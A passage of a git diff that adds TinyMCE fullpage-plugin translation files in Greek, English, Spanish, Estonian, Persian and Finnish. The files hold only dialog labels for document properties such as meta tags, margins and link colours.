b/js/tiny_mce/plugins/fullpage/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.fullpage_dlg',{title:"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03b3\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5","meta_tab":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","appearance_tab":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7","advanced_tab":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","meta_props":"\u039c\u03b5\u03c4\u03b1-\u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2",langprops:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 \u03ba\u03b1\u03b9 \u03ba\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7","meta_title":"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2","meta_keywords":"\u039b\u03ad\u03be\u03b5\u03b9\u03c2 \u03ba\u03bb\u03b5\u03b9\u03b4\u03b9\u03ac","meta_description":"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae","meta_robots":"\u03a1\u03bf\u03bc\u03c0\u03cc\u03c4",doctypes:"Doctype",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","xml_pi":"\u0394\u03ae\u03bb\u03c9\u03c3\u03b7 XML",encoding:"\u039a\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd","appearance_bgprops":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","appearance_marginprops":"\u03a0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03b1 \u03c3\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2","appearance_linkprops":"\u03a7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd","appearance_textprops":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5",bgcolor:"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",bgimage:"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","left_margin":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03cc \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","right_margin":"\u0394\u03b5\u03be\u03b9\u03cc \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","top_margin":"\u03a0\u03ac\u03bd\u03c9 \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","bottom_margin":"\u039a\u03ac\u03c4\u03c9 \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","text_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","font_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","font_face":"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","link_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","hover_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (Hover)","visited_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (Visited)","active_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (Active)",textcolor:"\u03a7\u03c1\u03ce\u03bc\u03b1",fontsize:"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd",fontface:"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","meta_index_follow":"\u039a\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","meta_index_nofollow":"\u039a\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03bc\u03b7\u03bd \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","meta_noindex_follow":"\u03a7\u03c9\u03c1\u03af\u03c2 \u03ba\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","meta_noindex_nofollow":"\u03a7\u03c9\u03c1\u03af\u03c2 \u03ba\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03bc\u03b7\u03bd \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","appearance_style":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c3\u03c4\u03c5\u03bb \u03ba\u03b1\u03b9 \u03b1\u03c1\u03c7\u03b5\u03af\u03bf\u03c5 \u03c3\u03c4\u03c5\u03bb",stylesheet:"\u0391\u03c1\u03c7\u03b5\u03af\u03bf \u03c3\u03c4\u03c5\u03bb",style:"\u03a3\u03c4\u03c5\u03bb",author:"\u03a3\u03c5\u03b3\u03b3\u03c1\u03b1\u03c6\u03ad\u03b1\u03c2",copyright:"\u0394\u03b9\u03ba\u03b1\u03af\u03c9\u03bc\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03b1\u03c3\u03c4\u03ae",add:"\u03a0\u03c1\u03bf\u03c3\u03b8\u03ae\u03ba\u03b7 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5",remove:"\u0391\u03c6\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 \u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5",moveup:"\u039c\u03b5\u03c4\u03b1\u03ba\u03af\u03bd\u03b7\u03c3\u03b7 \u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5 \u03c0\u03ac\u03bd\u03c9",movedown:"\u039c\u03b5\u03c4\u03b1\u03ba\u03af\u03bd\u03b7\u03c3\u03b7 \u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5 \u03ba\u03ac\u03c4\u03c9","head_elements":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03b1 \u03ba\u03b5\u03c6\u03b1\u03bb\u03ae\u03c2",info:"\u03a0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2","add_title":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c4\u03af\u03c4\u03bb\u03bf\u03c5","add_meta":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03bc\u03b5\u03c4\u03b1-\u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b1\u03c2","add_script":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf Script","add_style":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c4\u03c5\u03bb","add_link":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","add_base":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03b2\u03ac\u03c3\u03b7\u03c2","add_comment":"\u039a\u03cc\u03bc\u03b2\u03bf\u03c2 \u03c3\u03c7\u03bf\u03bb\u03af\u03bf\u03c5","title_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c4\u03af\u03c4\u03bb\u03bf\u03c5","script_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf Script","style_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c4\u03c5\u03bb","base_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03b2\u03ac\u03c3\u03b7\u03c2","link_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","meta_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03bc\u03b5\u03c4\u03b1-\u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b1\u03c2","comment_element":"\u03a3\u03c7\u03cc\u03bb\u03b9\u03bf",src:"\u03a0\u03b7\u03b3\u03ae",language:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1",href:"Href",target:"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2",type:"\u03a4\u03cd\u03c0\u03bf\u03c2",charset:"\u03a3\u03b5\u03c4 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd",defer:"Defer",media:"Media",properties:"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2",name:"\u038c\u03bd\u03bf\u03bc\u03b1",value:"\u03a4\u03b9\u03bc\u03ae",content:"\u03a0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf",rel:"Rel",rev:"Rev",hreflang:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 Href","general_props":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","advanced_props":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/en_dlg.js b/js/tiny_mce/plugins/fullpage/langs/en_dlg.js new file mode 100755 index 0000000..516edc7 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.fullpage_dlg',{title:"Document Properties","meta_tab":"General","appearance_tab":"Appearance","advanced_tab":"Advanced","meta_props":"Meta Information",langprops:"Language and Encoding","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Language Code",langdir:"Language Direction",ltr:"Left to Right",rtl:"Right to Left","xml_pi":"XML Declaration",encoding:"Character Encoding","appearance_bgprops":"Background Properties","appearance_marginprops":"Body Margins","appearance_linkprops":"Link Colors","appearance_textprops":"Text Properties",bgcolor:"Background Color",bgimage:"Background Image","left_margin":"Left Margin","right_margin":"Right Margin","top_margin":"Top Margin","bottom_margin":"Bottom Margin","text_color":"Text Color","font_size":"Font Size","font_face":"Font Face","link_color":"Link Color","hover_color":"Hover Color","visited_color":"Visited Color","active_color":"Active Color",textcolor:"Color",fontsize:"Font Size",fontface:"Font Family","meta_index_follow":"Index and Follow the Links","meta_index_nofollow":"Index and Don\'t Follow the Links","meta_noindex_follow":"Do Not Index but Follow the Links","meta_noindex_nofollow":"Do Not Index and Don\'t Follow the Links","appearance_style":"Stylesheet and Style Properties",stylesheet:"Stylesheet",style:"Style",author:"Author",copyright:"Copyright",add:"Add New Element",remove:"Remove Selected Element",moveup:"Move Selected Element Up",movedown:"Move Selected Element Down","head_elements":"Head Elements",info:"Information","add_title":"Title Element","add_meta":"Meta Element","add_script":"Script Element","add_style":"Style Element","add_link":"Link Element","add_base":"Base Element","add_comment":"Comment Node","title_element":"Title Element","script_element":"Script Element","style_element":"Style Element","base_element":"Base Element","link_element":"Link Element","meta_element":"Meta Element","comment_element":"Comment",src:"Source",language:"Language",href:"HREF",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"HREF Lang","general_props":"General","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/es_dlg.js b/js/tiny_mce/plugins/fullpage/langs/es_dlg.js new file mode 100755 index 0000000..94e52a7 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.fullpage_dlg',{title:"Propiedades del documento","meta_tab":"General","appearance_tab":"Apariencia","advanced_tab":"Avanzado","meta_props":"Informaci\u00f3n Meta",langprops:"Lenguaje y codificaci\u00f3n","meta_title":"T\u00edtulo","meta_keywords":"Palabras clave","meta_description":"Descripci\u00f3n","meta_robots":"Robots",doctypes:"Tipo de doc.",langcode:"C\u00f3digo del lenguaje",langdir:"Direcci\u00f3n del lenguaje",ltr:"Izquierda a derecha",rtl:"Derecha a izquierda","xml_pi":"Declaraci\u00f3n XML",encoding:"Codificaci\u00f3n de caracteres","appearance_bgprops":"Propiedades del fondo","appearance_marginprops":"M\u00e1rgenes","appearance_linkprops":"Colores del v\u00ednculo","appearance_textprops":"Propiedades de texto",bgcolor:"Color de fondo",bgimage:"Imagen de fondo","left_margin":"Margen izquierdo","right_margin":"Margen derecho","top_margin":"Margen superior","bottom_margin":"Margen inferior","text_color":"Color del texto","font_size":"Tama\u00f1o de fuente","font_face":"Fuente","link_color":"Color de v\u00ednculo","hover_color":"Color rat\u00f3n encima","visited_color":"Color visitado","active_color":"Color activo",textcolor:"Color",fontsize:"Tama\u00f1o de fuente",fontface:"Fuente","meta_index_follow":"Indexar y seguir los v\u00ednculos","meta_index_nofollow":"Indexar y no seguir los v\u00ednculos","meta_noindex_follow":"No indexar pero seguir v\u00ednculos","meta_noindex_nofollow":"No indexar y no seguir v\u00ednculos","appearance_style":"Propiedades de hoja de estilos y estilo",stylesheet:"Hoja de estilo",style:"Estilo",author:"Autor",copyright:"Copyright",add:"Agregar nuevo elemento",remove:"Eliminar elemento seleccionado",moveup:"Mover elemento seleccionado hacia arriba",movedown:"Mover elemento seleccionado hacia abajo","head_elements":"Elemento Head",info:"Informaci\u00f3n","add_title":"Elemento Title","add_meta":"Elemento Meta","add_script":"Elemento Script","add_style":"Elemento Style","add_link":"Elemento Link","add_base":"Elemento Base","add_comment":"Nodo Comment","title_element":"Elemento Title","script_element":"Elemento Script","style_element":"Elemento Style","base_element":"Elemento Base","link_element":"Elemento Link","meta_element":"Elemento Meta","comment_element":"Comentario",src:"Src",language:"Lenguaje",href:"Href",target:"Target",type:"Tipo",charset:"Charset",defer:"Defer",media:"Medio",properties:"Propiedades",name:"Nombre",value:"Valor",content:"Contenido",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Avanzado"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/et_dlg.js b/js/tiny_mce/plugins/fullpage/langs/et_dlg.js new file mode 100755 index 0000000..f55f776 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.fullpage_dlg',{title:"Dokumendi omadused","meta_tab":"\u00dcldine","appearance_tab":"V\u00e4limus","advanced_tab":"P\u00f5hjalikum","meta_props":"\u201eMeta\u201c informatioon",langprops:"Keel ja kodeering","meta_title":"Pealkiri","meta_keywords":"M\u00e4rks\u00f5nad","meta_description":"Kirjeldus","meta_robots":"Robotid",doctypes:"Dokumendi t\u00fc\u00fcp",langcode:"Keele kood",langdir:"Keele suund",ltr:"Vasakult paremale",rtl:"Paremalt vasakule","xml_pi":"XML avaldus",encoding:"Karakteri kodeering","appearance_bgprops":"Tausta seadistus","appearance_marginprops":"Sisu piir","appearance_linkprops":"Lingi v\u00e4rv","appearance_textprops":"Teksti seaded",bgcolor:"Tausta v\u00e4rv",bgimage:"Tausta pilt","left_margin":"Vasak piir","right_margin":"Parem piir","top_margin":"\u00dclemine piir","bottom_margin":"Alumine piir","text_color":"Teksti v\u00e4rv","font_size":"Fondi suurus","font_face":"Fondi n\u00e4gu","link_color":"Lingi v\u00e4rv","hover_color":"\u00dcle-v\u00e4rv","visited_color":"K\u00fclastatud-v\u00e4rv","active_color":"Aktiivne-v\u00e4rv",textcolor:"V\u00f6rv",fontsize:"Fondi suurus",fontface:"Font","meta_index_follow":"M\u00e4rgi ja j\u00e4rgi linki","meta_index_nofollow":"M\u00e4rgi ja \u00e4ra j\u00e4rgi linki","meta_noindex_follow":"\u00c4ra m\u00e4rgi linki, aga j\u00e4rgi linki","meta_noindex_nofollow":"\u00c4ra m\u00e4rgi linki ja \u00e4ra j\u00e4rgi linki","appearance_style":"Stiilileht ja stiili seaded",stylesheet:"Stiilileht",style:"Stiil",author:"Autor",copyright:"Autorikaitse",add:"Lisa uus element",remove:"Eemalda valitud element",moveup:"Liiguta valitud element \u00fclesse",movedown:"Liiguta valitud element alla","head_elements":"P\u00f5hielemendid",info:"Informatioon","add_title":"Pealkirja element","add_meta":"\u201eMeta\u201c element","add_script":"Skript\u2019i element","add_style":"Stiili element","add_link":"Lingi element","add_base":"Baaselement","add_comment":"Kommentaar","title_element":"Pealkirja element","script_element":"Skript\u2019i element","style_element":"Stiili element","base_element":"Baaselement","link_element":"Lingi element","meta_element":"\u201eMeta\u201c element","comment_element":"kommentaar",src:"Src",language:"Keel",href:"Href",target:"Sihtm\u00e4rk",type:"T\u00fc\u00fcp",charset:"Charset",defer:"Edasi l\u00fckkamine",media:"Meedia",properties:"Seaded",name:"Nimi",value:"V\u00e4\u00e4rtus",content:"Sisu",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u00dcldine","advanced_props":"T\u00e4psustatud"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/fa_dlg.js b/js/tiny_mce/plugins/fullpage/langs/fa_dlg.js new file mode 100755 index 0000000..b0cc4cf --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.fullpage_dlg',{title:"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0646\u062f","meta_tab":"\u0639\u0645\u0648\u0645\u06cc","appearance_tab":"\u0638\u0627\u0647\u0631","advanced_tab":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","meta_props":"\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062a\u0627 (Meta)",langprops:"\u0632\u0628\u0627\u0646 \u0648 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc (Encoding)","meta_title":"\u0639\u0646\u0648\u0627\u0646","meta_keywords":"\u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc","meta_description":"\u062a\u0648\u0636\u06cc\u062d","meta_robots":"\u0631\u0648\u0628\u0627\u062a \u0647\u0627 (Robots)",doctypes:"\u0646\u0648\u0639 \u0633\u0646\u062f",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e","xml_pi":"\u0627\u0639\u0644\u0627\u0646 XML",encoding:"\u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc (Encoding) \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631","appearance_bgprops":"\u0645\u0634\u062e\u0635\u0627\u062a \u0632\u0645\u06cc\u0646\u0647","appearance_marginprops":"\u062d\u0627\u0634\u06cc\u0647 \u0647\u0627\u06cc \u0628\u062f\u0646\u0647 (Body)","appearance_linkprops":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0644\u06cc\u0646\u06a9","appearance_textprops":"\u0645\u0634\u062e\u0635\u0627\u062a \u0645\u062a\u0646",bgcolor:"\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647",bgimage:"\u062a\u0635\u0648\u06cc\u0631 \u0632\u0645\u06cc\u0646\u0647","left_margin":"\u062d\u0627\u0634\u06cc\u0647 \u0686\u067e","right_margin":"\u062d\u0627\u0634\u06cc\u0647 \u0631\u0627\u0633\u062a","top_margin":"\u062d\u0627\u0634\u06cc\u0647 \u0628\u0627\u0644\u0627","bottom_margin":"\u062d\u0627\u0634\u06cc\u0647 \u067e\u0627\u06cc\u06cc\u0646","text_color":"\u0631\u0646\u06af \u0645\u062a\u0646","font_size":"\u0627\u0646\u062f\u0627\u0632\u0647 \u0642\u0644\u0645","font_face":"\u0638\u0627\u0647\u0631 \u0642\u0644\u0645","link_color":"\u0631\u0646\u06af \u0642\u0644\u0645","hover_color":"\u0631\u0646\u06af \u062f\u0631 \u062d\u0627\u0644\u062a \u0642\u0631\u0627\u0631\u06af\u06cc\u0631\u06cc \u0645\u0648\u0633","visited_color":"\u0631\u0646\u06af \u062f\u0631 \u062d\u0627\u0644\u062a \u0628\u0627\u0632\u062f\u06cc\u062f \u0634\u062f\u0647","active_color":"\u0631\u0646\u06af \u062f\u0631 \u062d\u0627\u0644\u062a \u0641\u0639\u0627\u0644",textcolor:"\u0631\u0646\u06af",fontsize:"\u0627\u0646\u062f\u0627\u0632\u0647 \u0642\u0644\u0645",fontface:"\u062e\u0627\u0646\u0648\u0627\u062f\u0647 \u0642\u0644\u0645","meta_index_follow":"\u0641\u0647\u0631\u0633\u062a \u0648 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","meta_index_nofollow":"\u0641\u0647\u0631\u0633\u062a \u0648 \u0639\u062f\u0645 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","meta_noindex_follow":"\u0639\u062f\u0645 \u0641\u0647\u0631\u0633\u062a \u0627\u0645\u0627 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","meta_noindex_nofollow":"\u0639\u062f\u0645 \u0641\u0647\u0631\u0633\u062a \u0648 \u0639\u062f\u0645 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","appearance_style":"\u0648\u0631\u0642\u0647 \u0627\u0633\u062a\u06cc\u0644 \u0648 \u0645\u0634\u062e\u0635\u0627\u062a \u0627\u0633\u062a\u06cc\u0644",stylesheet:"\u0648\u0631\u0642\u0647 \u0627\u0633\u062a\u06cc\u0644",style:"\u0627\u0633\u062a\u06cc\u0644",author:"\u0645\u0624\u0644\u0641",copyright:"\u062d\u0642 \u0627\u0646\u062d\u0635\u0627\u0631\u06cc",add:"\u0627\u0641\u0632\u0648\u062f\u0646 \u0639\u0646\u0635\u0631 \u062c\u062f\u06cc\u062f",remove:"\u062d\u0630\u0641 \u0639\u0646\u0635\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u0634\u062f\u0647",moveup:"\u0627\u0646\u062a\u0642\u0627\u0644 \u0639\u0646\u0635\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u0634\u062f\u0647 \u0628\u0647 \u0628\u0627\u0644\u0627",movedown:"\u0627\u0646\u062a\u0642\u0627\u0644 \u0639\u0646\u0635\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u0634\u062f\u0647 \u0628\u0647 \u067e\u0627\u06cc\u06cc\u0646","head_elements":"\u0639\u0646\u0627\u0635\u0631 \u0633\u0631 (Head)",info:"\u0627\u0637\u0644\u0627\u0639\u0627\u062a","add_title":"\u0639\u0646\u0635\u0631 \u0639\u0646\u0648\u0627\u0646","add_meta":"\u0639\u0646\u0635\u0631 \u0645\u062a\u0627 (Meta)","add_script":"\u0639\u0646\u0635\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a (Script)","add_style":"\u0639\u0646\u0635\u0631 \u0627\u0633\u062a\u06cc\u0644 (Style)","add_link":"\u0639\u0646\u0635\u0631 \u0644\u06cc\u0646\u06a9 (Link)","add_base":"\u0639\u0646\u0635\u0631 \u067e\u0627\u06cc\u0647 (Base)","add_comment":"\u06af\u0631\u0647 \u062a\u0648\u0636\u06cc\u062d","title_element":"\u0639\u0646\u0635\u0631 \u0639\u0646\u0648\u0627\u0646 (Title)","script_element":"\u0639\u0646\u0635\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a (Script)","style_element":"\u0639\u0646\u0635\u0631 \u0627\u0633\u062a\u06cc\u0644 (Style)","base_element":"\u0639\u0646\u0635\u0631 \u067e\u0627\u06cc\u0647","link_element":"\u0639\u0646\u0635\u0631 \u0644\u06cc\u0646\u06a9","meta_element":"\u0639\u0646\u0635\u0631 \u0645\u062a\u0627 (Meta)","comment_element":"\u062a\u0648\u0636\u06cc\u062d",src:"\u0645\u0646\u0628\u0639 (Src)",language:"\u0632\u0628\u0627\u0646",href:"\u0622\u062f\u0631\u0633 (Href)",target:"\u0645\u0642\u0635\u062f (Target)",type:"\u0646\u0648\u0639",charset:"\u0645\u062c\u0645\u0648\u0639\u0647 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 (Charset)",defer:"Defer",media:"\u0631\u0633\u0627\u0646\u0647 (Media)",properties:"\u0645\u0634\u062e\u0635\u0627\u062a",name:"\u0646\u0627\u0645",value:"\u0645\u0642\u062f\u0627\u0631",content:"\u0645\u062d\u062a\u0648\u0627",rel:"Rel",rev:"Rev",hreflang:"\u0632\u0628\u0627\u0646 Href","general_props":"\u0639\u0645\u0648\u0645\u06cc","advanced_props":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/fi_dlg.js b/js/tiny_mce/plugins/fullpage/langs/fi_dlg.js new file mode 100755 index 0000000..3f1fb39 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.fullpage_dlg',{title:"Tiedoston asetukset","meta_tab":"Yleinen","appearance_tab":"Ulkoasu","advanced_tab":"Edistynyt","meta_props":"Metatiedot",langprops:"Kieli ja koodaus","meta_title":"Otsikko","meta_keywords":"Avainsanat","meta_description":"Kuvaus","meta_robots":"Robotit",doctypes:"Dokumenttityypit",langcode:"Kielen koodi",langdir:"Kielen suunta",ltr:"Vasemmalta oikealle",rtl:"Oikealta vasemmalle","xml_pi":"XML-ilmoitus",encoding:"Tekstin koodaus","appearance_bgprops":"Taustan asetukset","appearance_marginprops":"Body-marginaalit","appearance_linkprops":"Linkkien v\u00e4rit","appearance_textprops":"Tekstin asetukset",bgcolor:"Taustan v\u00e4ri",bgimage:"Taustakuva","left_margin":"Vasen marginaali","right_margin":"Oikea marginaali","top_margin":"Yl\u00e4marginaali","bottom_margin":"Alamarginaali","text_color":"Tekstin v\u00e4ri","font_size":"Fonttikoko","font_face":"Fontti","link_color":"Linkin 